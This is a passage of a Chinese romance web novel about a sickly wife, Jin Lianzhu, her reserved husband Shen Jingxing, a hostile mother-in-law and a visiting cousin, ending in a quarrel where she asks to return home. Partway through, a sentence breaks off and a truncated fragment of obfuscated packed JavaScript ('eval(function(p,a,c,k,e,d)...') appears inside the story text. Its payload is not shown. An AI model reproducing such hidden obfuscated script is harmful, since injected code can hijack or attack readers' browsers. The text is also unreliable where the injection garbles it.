两人虽不曾似别家夫妻,日日夜夜都得待在一处,但偶有几回耳厮鬓摩,亦足够沈敬行了解她了。再加之,他寻得那位裁缝是整座皇城里头手艺最好的,略一描述,对方便了悟了。 为娘子做一套合衬的衣裳,并非难事。 沈敬行觑她,发觉她面颊上因喜悦泛起的酡红,心底有些说不清道不明的骄傲之情。 靳连珠放下铜镜,一步步靠近沈敬行,直到他快挨不住这样暧昧的距离,眨巴着眼想逃开之时才停下。 她摸了摸鸳鸯纹路,总算冲他展现了笑颜:“这条玉环绶也是官人买的?” “嗯,还有那只玉镯...” 沈敬行被她灼热的目光盯着,整个儿一阵不自然,于是率先对视,声冷道:“本想着忙完这趟,待回府再赠予你。” 今儿赶巧她来了,索性提前给了。 新岁添新妆,乃永平城的习俗。 这是他们成亲以来共同度过的第一个年,沈敬行想尽力做好丈夫的本分,哄得靳连珠开心一些,不让她在团圆佳节之际闷闷不乐,思念远在千里之外的故乡和亲人。 不过,新衣有了,鞋袜还是得暂穿他的。 靳连珠搀着沈敬行的手臂,站稳身子之后穿好鞋。 她胸膛抵着他的手肘,抬眸就能看见他近在咫尺的面颊。 至亲夫妻,可这般亲昵的姿态极少出现在他们身上,竟让她突然有点鼻酸。 靳连珠急匆匆低下头,掩住通红的眼眶,抽了抽鼻子,忍住快要溢出的泪珠。 无奈那只大了不止一星半点儿的棉靴愈发不听话,原地打着转儿,愣是不肯乖乖让她穿进去,幸亏沈敬行及时俯身帮了一把,掌心触及到她足尖的冰凉,眉头微蹙,道:“该灌一只汤婆子捂着。你畏寒,房中的炉火也得生旺一些。” 白芷惯来机灵,闻言,立即动身去办。 沈敬行继续道:“那只玉镯,年前再寻机给你补上。” 语罢,未听到她的回应,反倒有滴雨珠“啪嗒”砸在后颈,冰得他一滞。 可这四面不透风的屋子,外头又是大雪纷飞的天儿,哪来的雨珠? 沈敬行心下一骇,继而撞入那双水津津的眸子里。 已到舌尖的那声担忧的询问还未出口,就被她捧着脸不管不顾亲了上来。 沈敬行弓着身,极难维持平衡,被她猛地一压,直接跌坐在地。亏得他反应及时,单手护着她,另只手攀住桌沿,这才不至于教两人摔得四仰八叉。 短暂分开的间隙,沈敬行气喘吁吁,向靳连珠投去疑惑的目光:“你...” 刚出口一字,靳连珠顺势缩入他怀中,仰头再次贴在一起。她毫无章法地轻啃他,如同泄愤一般,却只在外头流连,无意深入。 沈敬行喉头滚了滚,溢出一声似欢愉又似痛苦的低吟。 此时此地,他们委实很不应该做这档子事。 沈敬行欲将靳连珠推开,却在触及到她满脸的泪痕那刻仿佛被点了穴,整个人儿动弹不得。 他舌尖似乎尝到了咸涩的滋味,悬在半空的手紧了又紧,最终妥协般地揽过她薄弱的肩膀,稍一用力,轻而易举托起她的身子,放置于一旁的矮榻之上,闭眼应了她的吻。 - 嫁作沈家妇之前,靳连珠一直认为自个儿很能吃苦。 她自小跟随父亲走南闯北,什么场面没见过、什么磨难没经历过,挨冻委实算不上甚么。 或许因为近来发生的事情太多,临近年关身侧又无至亲陪伴,再加之与官人的关系迟迟不见推进,反而渐行渐远,亦或许纯粹因着今日恶劣的天气,使得她冒出一股顾影自怜之感。 靳连珠不欲于人前展示脆弱,尤其当着沈敬行的面儿,没得让他觉得自己矫揉造作。可最后,她还是被他寥寥几句击溃了心防,躲在他肩颈处哭得好不可怜。 在这个没有外人的茅屋里,不必担忧婆母派来的人从外窥听,靳连珠终得以从沈家大娘子的身份中暂时脱离出来,变成曾经那个被娇养在家中的姑 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靳连珠听出他的言下之意,连忙摇头否认。顿了一顿,她随意扯了个由头:“许是太久没见到官人,想极了才会哭...” 意料之外的答案,沈敬行何种原由都想到了,唯独没料到这一点。他盯着她那双水潺潺的眼珠子,有片刻的失神。 方才彼此捻揉过的唇隐隐发烫,使得沈敬行五脏六腑都火烧火燎的,他不太自然地吭了一声,掌心撑着矮榻边沿欲起身。 甫一动作,靳连珠立即抓紧他的领口,不由分说的又把人拉回去了,唇也随之贴上。她在这方面比他的悟性强一些,抵着他含弄,就像是吃刚吃过的桂花糕点,咂摸出一丝甜甜腻腻的滋味。 沈敬行半点不敢动弹,保持僵硬的姿势撑在她上方。 两人到底做了这么久的夫妻,仅一个眼神,靳连珠就知道他在忍耐什么。 考虑到沈敬行刻板循旧的性子,靳连珠歇了想将手探入某个不可言说的地方的冲动,小臂抵着他肩膀拉开一段距离,结束了这段不合时宜的纠缠。 她扭开脸,目剪秋水,唇夺夏樱,娇喘吁吁道:“怪了,白芷怎的还未回来?” “风大雪大,路上耽误了也有可能。这地方到处是护卫,你不必担忧她。” 沈敬行慢慢起身,坐到一旁,兀自整理凌乱的衣袍,端着白玉无瑕的君子样儿,可发红的耳根以及略显急促的呼吸却出卖了他。 沈敬行按捺住蚀骨的欲,静待靳连珠主动。 依惯例,她绝不会乖生生的放弃这次同他亲近的机会。 这么想着,靳连珠果真翻身凑上前,小手自后头绕过他的两侧交叠在腹部,整个人懒懒散散地依偎着他,略烫的脸儿也贴着他的,偶尔打一声哭嗝,温热潮湿的鼻息喷洒在颈侧,勾的沈敬行如同烈火焚身般煎熬,喉结滚了又滚,却迟迟等不到她后续的动作。 沈敬行自诩能忍,从不沉溺于男女之事,现下竟也有些许破功的苗头。 他缓且轻地覆上她的手背,稍稍偏头,余光瞥见她一张略施粉黛的脸,五官生的精致,气质柔和婉约,细眉圆眸,皮肤如润玉,白皙透亮。 再定睛一瞧。 ……竟然,睡着了。 沈敬行心口突然冒出一股无可奈何的滋味,轻笑一声,单手拖住她的脑袋以免滑下去。靳连珠似有所感觉,蹭了蹭他的掌心,继续安然睡着。 长且密的眼睫垂落一排阴影,樱唇微阖,悄无声息的,像孩童一般蜷缩着不动弹,模样乖巧。 沈敬行不忍心吵醒她,端详良久,动手捋了捋她散到脸颊上的发丝。 又坐了片刻,他怕她以这么别扭的姿势睡一觉会弄得身子不舒服,于是小心翼翼将她抱去床榻上,宽衣解带,摘了发髻上的尖锐饰物,盖上被褥,落了纱幔,独自到外间用饭,随后出门跟同僚一齐前去巡视祭坛。 这一觉睡得并不踏实。 靳连珠梦里翻来覆去重现往日在家中陪伴父母的场景,弄得她又无声哭了一场,醒来时精神恍恍惚惚,眼神涣散地盯着虚无的某处,一时没反应过来当前身处何地。 无知无觉中,有人撩开纱幔靠近,指腹揩去自她眼角滑落的一行清泪,语调似叹似怨:“怎么又哭?” 靳连珠睫毛被惊到似地抖起来,飘忽的思绪逐渐回笼,教她看清眼前的人也认清了当下的情况。 她娇声唤“官人”,顺势拢住他修长的手指,拥着被褥坐起身,探头去看外面的天色,已经擦黑了。 心下大惊—— 天爷呐! 她竟然睡了这么久。 府上还有一大堆事儿等着处理,靳连珠没料到自己耽搁到这会子,一面担忧回去被婆母教训,一面拔高声量唤白芷进来伺候她更衣。 这么着急忙慌的,下榻时被裙摆绊住腿脚,直直摔入沈敬行怀中,亏得有他及时护住后脑勺,没至于磕伤,但突发的变故还是把她吓了一跳。 靳连珠赶紧起身,围着他左瞧右看,神情焦灼:“官人无事罢?” 沈敬行徐徐摇头,意味深长地看她一眼。 他特地过来一趟,是为了告知她早点返家,以免雪又下起来给耽误了。 但这话莫名其妙的被咽回肚子里,斟酌一番,再出口就变了个意思:“雪已停了,山路扫净还需一会儿,你且慢慢收拾...今夜,我同你一道归家。” 8. 第八回 这边离不开人,沈敬行仅今夜回府休憩,明儿一早还得回来。靳连珠不知他折腾这一遭为着甚么,担心涉及公务,便识趣的没有追问。 用罢饭,夫妇二人收拾妥帖,拜别其余几位大人后,乘马车下山。 积雪虽已清扫了,但石板路湿滑,需得谨慎前行。 返程耗费不少功夫,沈敬行倒也不急,持着书册专心翻看。靳连珠则烤着碳火,躲入他暖烘烘的怀里小憩,直到马车停在沈府门前才悠然转醒。 车夫放了脚凳,沈敬行先下车,极有耐心地候着靳连珠穿戴好斗篷露面。他及时向前握住她的手,搀扶人儿踩实脚凳。 靳连珠面颊捂得泛红,娇艳欲滴,眼底却有一抹掩不住的倦怠。 又一阵冷风席卷而来,吹得她咳嗽不止。 沈敬行一颗心随之高高悬起,揽过她肩头,试图用背脊挡住风,大步往府内走。 他知晓她体弱,每逢秋冬少不了生病受苦,需得尽心养着,于是吩咐前来迎接的敛秋:“让小厨房煨上药膳粥。” 敛秋应声,疾步走出不远,似想起某事,又急匆匆折返。 仿佛开了个禁忌的头,靳连珠咳个没完,根本停不下来了。 一具娇弱的身子逐渐脱力,欲往地上滑。沈敬行快捞不住,原本揽着她肩头的手只得变换位置,掌住一把细腰,牢牢钳着她。 他全部心思都系在靳连珠这儿,心烦意乱的,听见敛秋唤自个儿,没什么耐心地道:“旁的事,稍后再说。” 敛秋为难地抿了抿唇,最后还是一声不吭地退下了。 靳连珠的咳疾是早前落下的病根儿,所幸淮州气候温热潮湿,比不上永平城寒冷干燥,家里父母疼惜她的身子,一直娇惯的养着,从未让她的毛病发作过。 然而,入冬后的这一场风寒,把她的陈年旧疾全勾起来了。 雅韵轩内的下人们如鱼贯入,阒然忙活一阵,房中仅剩白芍和玉莲。 玉莲挨了一顿罚,虽能下榻了,可腿脚还不怎么利索,便留在近处伺候靳连珠。 白芍则去小厨房盛药膳,返回时刚巧听见家主问话:“大娘子的风寒不是都好全了么,怎会突然咳得这般严重?” “早前落下的根儿,发现晚了,没得治。久而久之就成老毛病了。大娘子本就体弱,入冬之后更是经不得一点风,受不得一点累。去年冬日发作过一回,娘子遭了不少罪,直到入春后气候转温,又依照从靳家带来的方子,服了几贴药才好转。” 玉莲规规矩矩地作答,旁的并未多言。 白芍却知晓大娘子这病痛是为何落下的,免不得在心底替主子委屈,偏偏无法上前贸然插嘴。她压下忿忿,将帕子浸水,凑近要给靳连珠擦汗。 沈敬行拦了拦,接下帕子,道:“都下去罢。” 顿了一顿,又吩咐:“叫小厨房备着热水。” 玉莲领命准备离开,瞥见白芍跟木头似地杵在那儿没动,赶紧扯她衣袖。 这一下,竟没扯动。 玉莲心下大惊,使劲儿给白芍使眼色,唯恐这个不知道天高地厚的小丫头一时脑热,为了给娘子出气,说出甚么狂悖的言论。 白芍没睬她,直勾勾盯着榻上的人儿。 靳连珠服药后很快就昏昏沉沉的睡过去了,但睡得并不踏实。面颊泛着不正常的红晕,鼻尖、额头渗着晶莹汗珠,眼尾挤出星点湿意,一只手紧攥着沈敬行宽大的衣袖,像是溺水的人抓住了救命的浮木,怎么都不肯松开。 白芍瞧着心疼,以免打搅靳连珠休息,努力将声量压得很低:“家主,碧波轩的小厮过来传话,表姑娘到了有一会儿了...老夫人的意思,叫您前去见见面儿。” 沈敬行未动,面色沉沉,不知在想甚么。 两个女婢都以为他今夜守着大娘子不会走了,预备回绝了小厮,沈敬行却起身,将帕子顺势递给白芍,语气平常地吩咐:“守好大娘子,有事就遣人到碧波轩通报一声。” 白芍看看榻上憔悴的靳连珠,心尖跟着发颤,免不了替她不忿,或打算说些什么挽留家主。亏得玉莲识眼色,及时拉住她退到一边,躬身低头,应答:“是。” - 过半夜,外头风雪又大起来,呼啸声阵阵,吹得窗棱瑟瑟发响,有回山倒海、掀天揭地之势。 骤然一道凌冽寒气灌进来,吹得炭火盆的火苗及满屋烛光晃动不定。 随着靳连珠陪嫁来的四个心腹皆候在床榻边伺候,房外的廊下也候着下人,以防万一,他们不敢离开半步,因着挂念大娘子,个个儿愁容满面。 见天色不早了,大娘子服药后的状况已稳定。以防这阵仗传入葛氏耳朵里平添麻烦,白芍谴他们先去休憩,折返回屋内,跟曲莲一同把屏风搬到窗牖前挡风。 白芷挽起床幔,将枕头立在靳连珠背后,扶她靠入怀中喂药。 靳连珠醒了没多久,水盈盈的眸子在屋内扫了一圈,只看见熟悉的四个女婢。她本就思绪混沌,糊涂的认为自个儿还在淮州家里,竟耍起小性子来了:“怎么没有徐记的蜜饯?” 四个丫头面面相觑,曲莲绷不住轻笑:“大娘子,永平城的徐记味道没有淮州的好,这可是您的原话。” 白芍帮腔:“这会子店铺都关门了,就算您想吃,也得等天亮呐。” 靳连珠迟钝地转了转眼珠,逐渐回过神来,心下的寂寥无边无际的蔓延开。她自嘲地笑一声,接过白芷手中的药碗,乖觉的一饮而尽。 苦味儿在口中经久不散,舌根都涩麻了。靳连珠躲开白芷递到嘴边的蜜枣,声音含糊地问:“官人呢?” 室内静谧一瞬。 其余三人眼观鼻鼻观心,皆无话可说。 玉莲放下拨弄炭火的杆子,走近替她掖被角,道:“表姑娘到了,今夜留在碧波轩陪老夫人。趁娘子睡着的时候,家主过去见客。” 靳连珠顺着半敞的窗牖瞧了一眼天色,应刚到寅时。 见什么贵客见到这会子都不回来? 想必他跟往常一样,干脆宿在书房了。 靳连珠早就对沈敬行忽冷忽热的态度习以为常,或许人在病中难免矫情,亦或许是方才药喝得太急了,使得她胸口发闷,止不住的想呕。 恰此时,隔壁院儿传来响动。 竖起耳朵仔细听,是一男一女在交谈。 女音婉啭动人,一口一个“表哥”唤地热切,言语之下,竟是连她这个娘子都不曾有过的亲近:“...住不了多久,有劳表哥费心安排了。” 至于对面儿如何回答的,听不真切。 靳连珠强撑着气力缩回被窝,掀了褥子将自个儿裹得严严实实,一并掩了发烫的眼眶,翁声道:“去灶上瞧一瞧还有没有吃食?我肚子饿了。” “有的,有的,”白芍抢答,拔高嗓门盖过外头的交谈,又像是特地说给隔壁院儿的人听,“家主吩咐小厨房给您备了药膳,一热便好。” 靳连珠未搭腔,静的仿佛又入梦了。 白芷晓得她心里头迂回曲折的心酸,想劝,满腹的话却无从说起,临了只有无声叹了口气,领着白芍这个多嘴多舌的小丫头热饭去了。 没一会儿,到了煎药的时辰,玉莲支曲莲去办,屋内仅余下她照看。 靳连珠翻了个身,白净的玉手从褥子里探出来。 玉莲瞧见,跪过去攥紧了。 房中一夜未断过炭火,烤得人浑身发烫,偏她的手凉如冰块儿,叫玉莲止不住的害怕,低声怯怯地唤:“大娘子。” 躲在被子里的人儿一声不吭,默了半晌,靳连珠平复好那股莫名却来势汹汹的酸涩情绪,总算露出脑袋。她面颊上那抹病恹的酡红褪去,眼珠子水汪汪的,却没了往日的活力,像是被吸干了灵气儿,余下干涸的河床,了无生机。 玉莲伺候靳连珠多年,从未见过她这般失魂落魄的模样,心里头害怕极了,复又唤了一声:“姑娘。” “无事,”靳连珠勉强挤出一抹浅笑,“我当真是适应不了永平城的气候,入冬寥寥几月,总大病小病不间断。今儿湿了鞋袜,夜里当即就犯了咳疾...都是老毛病了,按照郎中吩咐,服几贴药就好了,不值得你们这么担忧。” 话虽这么说,但她越来越乏力,连睁眼的力气都没了。娇娇儿趴在塌边,墨发垂落,衬得脸色苍白如纸,体柳轻盈,胜似随时便飞升的仙子。 玉莲半分不错目地盯着她,心都悬到了嗓子眼。 缓了缓,靳连珠才算提上一丝劲,气若游丝道:“去准备纸笔,我想,往家里寄封信...” 人都病成这样了,哪还能提起笔写字呢。玉莲想哄着她再歇会儿,可再窥她的神态,满肚的话无论如何也讲不出口了。 玉莲忍了忍汹涌的泪意,哽着喉咙应:“奴婢这就去。” 窗外落雪纷纷,不知何时,呼啸的狂风停了,男女的交谈声也停了。晚香堂与雅韵轩仅一墙之隔的距离,这边的动静怎会传不过去,但沈敬行就是没来。 靳连珠大可以像从前那般,派个丫头过去替自个儿卖卖惨,或者,再扑进他怀里放纵地哭一场,让他心生怜惜。 可这些计谋只有一时之效,甚至连半日的光景都捱不过。 没用的。 她跟沈敬行结成夫妇,自是奔着长长久久的过日子,用尽心思图谋而来的感情,哪里成的了真? 既然沈敬行没那个想法,她强求也是没趣。 靳连珠揩去眼角渗出的泪珠,饮下小半碗药膳,歇了会儿,由玉莲搀着到窗前透了口气。 院中的红梅开得正娇,歪出的一枝通过雕窗的缝隙探到隔壁。 有个老媪带着女婢踏雪前来,小心翼翼剪掉绽开的红梅,放入筐里,嘴里絮絮叨叨甚么,被风吹散,听不真切。 白芍今儿也是怪了,跟个炮仗似的,一脑热就要出门去训斥他们。 玉莲眼疾手快地薅住她的后颈,窥了一眼靳连珠的脸色,低声呵斥:“姑奶奶,你消停会儿罢,还嫌咱们院儿不够乱么。这位表姑娘深得老夫人宠爱,贵客上门第一夜,你急赤白咧的把她身边伺候的老人骂了一顿,赶明儿传到老夫人耳朵里,受累的又得是咱们娘子!” 白芍无法反驳,鼓起腮帮子、皱眉瘪嘴,不知道在同哪个置气。 另一头,那婆子剪完梅花,吩咐随行的女婢送入姑娘房中。紧接着,她猝不及防撞见一个娇美人立于窗边,柳如眉,云似发,鲛绡雾縠笼香雪。 这么一副天上地下难寻的好皮囊,准是沈家大娘子没错了。 老媪不卑不亢地冲她欠身行礼,施施然离去。 外头冰天雪地的,白芷担忧靳连珠着凉加重病情,劝她回屋歇息。 靳连珠却未应,盯着那株被剪掉花朵儿的枝丫,鬼使神差地忆起跟沈敬行初见后的某一回。 她真真是被双亲惯坏了,纵情恣意,全然不顾男女大防,遇到合心意的小郎君就追在人家后头缠问个没完。譬如“有无婚约”“有无心仪的姑娘”“若成婚,想寻个什么样儿的”“随你而来的那位俏娘子,可是长辈为你相中的对象”... 皇城内虽也不缺大胆追爱的郎君或姑娘,可沈敬行从未见过如靳连珠一般开放的。他被她臊红了耳根,托福于良好的教养才没发火,冷着调子答曰:“休要妄言,那位是我表妹。” 靳连珠哦了声,俏皮地追问:“她不嫁给你,那换我来成不成?” 时至今日,靳连珠仍记得沈敬行仿佛白日撞鬼的惊悚眼神,此后一连三天,他干脆躲在驿馆内不露面,俨然被她狂放的行径给吓破胆了。 彼时的靳连珠心灰意冷,以为这桩婚事彻底完蛋了,不曾料到,山回路转,老天竟又让他们续上了这段缘分。 往事历历在目,靳连珠似回到当时的情景,甜蜜滋味涌入心尖,不待她细细品味就散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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周妈妈紧随其后而来,先派身旁得力的仆妇扣住挑起事端的几人,以防事态闹大传出去有损家风。 她转头就给老夫人告状去了。 葛氏勃然大怒,以“大娘子身子羸弱,不宜多分操劳”作筏子,没收她的管家权,又着人拿了曲莲和白芍的身契,要将这两个丫头发卖出府。 闻讯,靳连珠拖着病体,急乎乎赶来阻拦。 碧波轩里里外外都是葛氏的心腹,围得密不透风,拂冬不知发生了甚么,竟叫大娘子急火攻心晕厥了过去。 拂冬预感不妙,欲从侧门离开给家主报信儿,不曾想葛氏留有后手,派人潜在附近及时拿住他。他被关在柴房整整四日,终于寻到机会逃脱,一刻不敢耽误地上山,据实报给家主。 入夜,沈敬行风尘仆仆赶回家中。 与之一道来的,还有表姑娘,秦冷莲。 秦冷莲完全没想到事儿会发展到如今的地步,安顿好卞婆子之后便去劝说表舅妈,直到瞧见葛氏毅然的神态,她方才意识到,这对婆媳之间恐积怨已久,自个儿来得很不巧,竟被当作棋子使了。 她心底觉得对不住表嫂,于是带着上好的补品前来拜见,却再一次被守门的女婢拦住了,道:“表姑娘见谅,实在是我家娘子身子不适,恐过了病气给您,这才拒而不见的。” 随行的女婢以为大娘子存心刁难,气不过要争辩。 秦冷莲及时使了个眼色,冲来人微微欠身,可怜见儿地唤:“表哥。” 沈敬行未答,像是没发觉有她在场。 他经过身边时,秦冷莲只来得及瞥上一眼,惊觉他眼底晦暗惊人,与往常那副心地清洁的模样截然相反。随即,秦冷莲念起连日以来葛氏对大娘子的不满,话里话外皆暗示这桩婚事并非沈敬行所愿,可如今看来,真相好似不是那般。 无缘无故的,秦冷莲心里头不是个滋味儿。 她有所期盼的向院中望去,不待看清甚么,只见那刁钻的女婢一个跨步上前,将她的视线挡得严严实实,冠冕堂皇道:“夜里冷,风又大,表姑娘若无事便回罢。” 被一个婢子拂了面儿,秦冷莲自然不爽快,但眼下不是个发作的好时机、好场所,她强压住繁杂心绪,领着女婢回晚香堂了。 为了留住热气,门口落了厚厚的棉絮帘子,窗牖也只开了一条缝隙,导致苦药味儿迟迟散不出去。沈敬行闻不得这样儿刺鼻的滋味,不着痕迹地蹙了蹙眉,顺手解了大氅递给敛秋,径直走入内间。 到了用药的时辰,靳连珠却喝不进去,着急地推搡着白芷,唤她带上小厮去将白芍和曲莲找回来。情急之下,她气虚到眼前泛黑,脚下一踉跄,险些跌坐在地。 沈敬行欺身上前,将她一把纤弱的腰肢掐在手心里。他低了头,撞见她一张苍白的脸,心脏霎时被攥紧了,滋滋渗着血。 “身子要紧,不能不喝药。”沈敬行嗓音里蕴着薄怒,听起来却又不凶,低低沉沉地道:“我已派拂冬将那两个丫头接回来了。” 靳连珠眼神迷迷蒙蒙地瞅了他一会儿,委屈一点一点漫上来,难得露出任性的一面,命令:“让她们立即来见我。” 念在她受了不少委屈的份儿上,沈敬行并未计较这个略显刁钻的要求,转圜道:“明儿再唤她们,你先将药喝了。” 说着,他伸手接过药碗,要亲自喂她。 靳连珠紧闭双唇,泪眼婆娑地睨着他,嘴角溢出一声轻蔑的冷笑,无端生出一股决绝之感。 “回想那年夏末,妾辞别娘家嫁入贵府,行事遵循婆母的意思,进退岂敢由己身?白天黑夜,妾为了内宅事务勤勤恳恳,一心尽孝报婆母大恩,对官人更是诚心以待,自问没有什么过错,临到头来仍孑然一身受尽苦辛。” “官人在工部任职,勤勤恳恳、废寝忘食。而妾独守空房,与你相见的日子实在太稀少,仅有的情分也快蹉跎干净了。沈家妇实难为,妾今不堪受驱使,纵然留下也无益。趁你我还未有子嗣,即刻禀告官人、婆母,及早遣妾回娘家去罢。” 9. 第九回 沈敬行万万没料到素来温软内敛的靳连珠突然发难,横眉竖眼却又眼眸流转,倒有几分从前娇蛮的样儿。 他被她这番“好聚好散”的言辞激得瞳孔骤缩,一瞬之后就想通了,方有些起伏的心绪恢复如常,冷静道:“先喝药。” 这般不容辩驳的口吻,俨然把她的表现视为胡搅蛮缠,没往心里头去。甚至大有一种,她若不见好就收,他便搬出家主的身份迫她服从的意思。 靳连珠盯着那碗黑漆漆的汤药,直觉唇舌、齿间、五脏六腑,全都泛着令人作呕的苦。 她垂在两侧的双手紧攥成拳,似是受不了一丝寒,背脊微微发颤,眼泪打转却倔强的不肯掉落,声音细如蚊蝇:“我不。” 沈敬行拧眉,望向她的眼神中满是不解:“什么?” 靳连珠咽了口唾沫,鼓足劲儿,重复:“我说,这药苦的厉害,我不喝。除非,你允了我方才所言。” 沈敬行深睨着她,眸底似有惊涛骇浪,可喘息间便化作虚无。 他敛了眸,转手将药碗放于桌上,示意屋内伺候的婢子们通通退出去,待四下无人时才道:“近日之事,我悉听拂冬说了。乱嚼舌根的一应人等已被惩罚,皆逐出府外。至于母亲那边,她还在气头上,不如歇一晚,待她消消火,明日我便前去说和,定将管家权给你讨回来。” 靳连珠垂首,静静听着,躁动的情绪好似被他寥寥几句就给平复了。 见状,沈敬行高悬的心悄然放回肚子里,用自认为柔软的调子哄说:“我从不骗人,那两个丫头的确被接回府上了。天色已晚,你身子又不好,不便让她们过来叨扰,你想瞧,养足精神明日再去也是一样的。” 不知哪个字眼刺激到靳连珠,她眼皮抽动一下,浅笑的表情似讥似讽:“官人口口声声说不骗人,却没说过不瞒人。” 聪慧如他,沈敬行怎会不懂得她的言下之意。 倒也不难猜,母亲为了挑拨他们夫妇的关系,究竟说了多少刺耳的言语。 心疼她拖着病体受了这么多的罪,难怪情绪这般失控。沈敬行上前一步,欲拉近彼此的距离,好声好气的跟她解释清楚。 靳连珠却仿佛对上洪水猛兽一般,趔趔趄趄地后退避开他,一不留神跌坐在椅子上,眼泪掉的更加汹涌了,哑声低吼:“官人跟婆母商议定了要将我身边的丫头送走,这般惺惺作态又有什么意思?我一个妇人,远嫁到沈家仅一年多的光景,不得婆母喜爱、丈夫欢心,势单力薄,哪有立足之地。” 靳连珠心口一阵刺痛,表情痛苦万分,眼瞅着就快要坐不住了,沈敬行一个箭步上前欲搀扶,却被她一把掼开。 她哀怜的模样任谁都不忍相看,指责的语气更如雀鸟啼血,字字诛心。 “那些搬弄口舌是非的蠢材们早不说晚不说,偏巧等着表姑娘入府,官人上山公干,我的身子又不好了,这才开始作妖。背后是谁指使或放纵,官人就算心知肚明也不能、不愿发作,是也不是?!” “官人总扮得大义凛然的样子,可到头来,委屈的只有妾和妾身旁的人...” 热切又持久的情爱迷了靳连珠的双目,让她忘了自个儿也是有血有肉,会受伤有思想的、活生生的人。 事到如今,靳连珠委实不想忍了,双眼一阖,狠了心:“这般纠葛下去亦无用,索性长痛不如短痛,官人何不就允了妾。” 沈敬行立于一侧,背对着满屋烛火,上半张脸陷入暗色中,分辨不清喜怒。 不知过去多久,他仍一言未发,整个人静到仿佛消失了,可散发出的阴森气息仿佛渗入骨髓的寒冰,又时时强调着他的存在。 双眼一闭一睁间,杂乱晦暗的想法悉数被压制住。 沈敬行恢复往常那副淡然自若的模样,开口唤白芷入内,吩咐她将冷掉的药端出去再热一遍,复又取了自个儿厚实的外衣披在靳连珠身上,蹲下攥住她柔软似无骨的柔夷。 靳连珠欲挣脱他的桎梏,忽而听到一声极轻的“好”,心脏蓦地空了一下。 她不敢置信地看向他,说不清道不明当下的心情,总归不太舒畅,别扭地哼:“官人这是应了?那我即刻唤人来收拾东西,明儿一早就...” “夫妻之间应该坦诚相对,对你有所隐瞒,是为夫做得不对。就此事,我向娘子致歉。”沈敬行截下话茬,全当从未听过靳连珠那番心灰意冷要回娘家的言论,坦然低头认错。 又道:“曲莲和玉莲年岁大了,已到了放出府成婚的时候,我有意为她们各自在皇城寻个好人家,再备上一份厚厚的嫁妆。并非娘子所想的,要将她们以罪奴的身份驱逐出去。” 靳连珠噙着泪,犹豫片刻,抽抽搭搭地问:“真的?” “嗯。”沈敬行从袖兜里掏出拟好的名单。 “这些人户,拂冬一一探过了,详细的情况都写在上头。男婚女嫁乃人生大事,娘子作为那两个丫头的主子,具体的还得交给你定夺。不过不急,先把眼前的年节过完,她们的事儿,年后开始操办也完全来得及。” 这些儿郎的年岁与两个丫头相当,人品、才干该是不错的,拂冬办事心细,底下甚至还附上了乡亲邻里的评价。 有几人的家中虽称不上大富大贵,或务农或经商,皆有不少的积蓄,起码吃喝不愁,人口关系也简单,不必担忧日后有扯不清的亲戚关系。 就算在淮州,依照靳连珠的能力,也未必能为曲莲、玉莲寻到这些青年才俊。 更何况,现下还能由着她们挑选郎君,自个儿做主婚事,再加之一份由沈家出的丰厚嫁妆,余生决计不用发愁了,真真儿是天大的福气。 靳连珠大致扫了一眼,就知道沈敬行必定费了不少心思。 他素来一门心思都扑在公务上,不成想,竟肯花时间为她身边的人做这些琐碎小事。靳连珠显然是受用的,脑袋被哄得晕晕涨涨,一时之间不知道该不该继续跟他争论下去。 她这边迷瞪着,白芷恰巧送药进来。 沈敬行接过碗,亲自喂她喝下去,趁她皱眉叫苦之前,及时往她嘴里塞了一颗甜枣。 靳连珠猝不及防,舌尖不经意剐蹭过他的指尖,没等有所察觉,沈敬行便迅速收回手背去身后,耳根悄悄爬上一抹红晕。 可看面上,一丝不显。 沈敬行捻了捻指腹,情不自禁的回味着那抹湿软,徐徐开腔:“话又说回来,这一回,两个丫头并非全然无错。” “曲莲不该背后议主,白芍更不该动辄跟他人大打出手。莲儿表妹是客,伤了她身边伺候的婆子,传出去有损名声,若这一遭不惩戒她们,往后娘子怎么有威信约束府内其余的下人。” 靳连珠岂非那等不明事理、一味护短的人。 她虽足不出户的养病,却不至于眼瞎心盲。对府上的那些风言风语,她早就有所耳闻,也探到了散播谣言的人,本想抓个现行,不成想反被摆了一道。 现下听沈敬行所言,她口中泛起一股苦涩,方才嚼烂了咽进肚子里的甜枣也没了本来的滋味。 “官人冒着夜色赶回来,想必还没机会了解事态全貌,怎就一口咬死是我身边的女婢先动粗?至于曲莲背后议主一事,更是无从说起。” 靳连珠那双眼眸湿漉漉的,仿佛清澈的湖泊,浓密睫毛不停忽闪,双颊上飘着的绯云,舒缓的口吻不似质问,反倒像极了娇嗔。 沈敬行语塞一瞬,诚实相告:“是周妈妈。” “官人只听周妈妈的一面之词,就匆匆打发了被拘起来的那些闹事者,又给雅韵轩扣了一桩罪过?” 今夜谅她心绪不佳,沈敬行步步忍让,可浑身解数都使出来了还不见将人哄好。他气馁之余也有些愠怒,木着一张脸,警告似地重声:“我无意冤你。” ——这叫什么话? 难道事态发酵到这般田地,全赖她不成? 刚褪下去的寒意再度顺着脊髓攀爬至全身,靳连珠打了个颤,冷呵:“这四个丫头从淮州家中时就伴我左右,她们什么行事风格、脾气秉性,我再了解不过了。若说她们为了护着我,同人争辩几句,我信。但若说她们主动跟人斗殴,这我是万万不会信的。” “官人若要因为口舌之争罚她们,妾无话可说,但还请官人勿心生偏袒,给妾扣上莫须有的帽子。” 靳连珠言语中含沙射影的,沈敬行怎会不晓得她的意思。 可是天色已晚,哪能惊动全府处理这档子污糟事儿,就算要发作也得待明日了。况且,夫妇二人如此敌视,竟弄得像是要上公堂一般,让他心里头很不爽利。 沈敬行瞅见靳连珠气红的脸颊,顾忌她的身子,到底还是低了头:“此事我自有主张,日后定会查个水落石出,给娘子一个满意的答复。今夜暂且不论,你先歇下罢,我自去书房睡。” 靳连珠一把抓住他的衣袖,仰着脸,淌着泪,不依不饶:“为何不论?为何非要日后才能查?” ……你究竟知不知道,婆母是怎么放纵那些下人在背后编排我的?还是已经知道了,但为了守住你的孝道,仍打算让我生吞下这份委屈? 官人。 官人呐... 当初一桩“郎有情、妾有意”的天赐缘分,信笺诉情六年不曾间断,难道全是虚假的吗?我自问拿一颗真心待你, 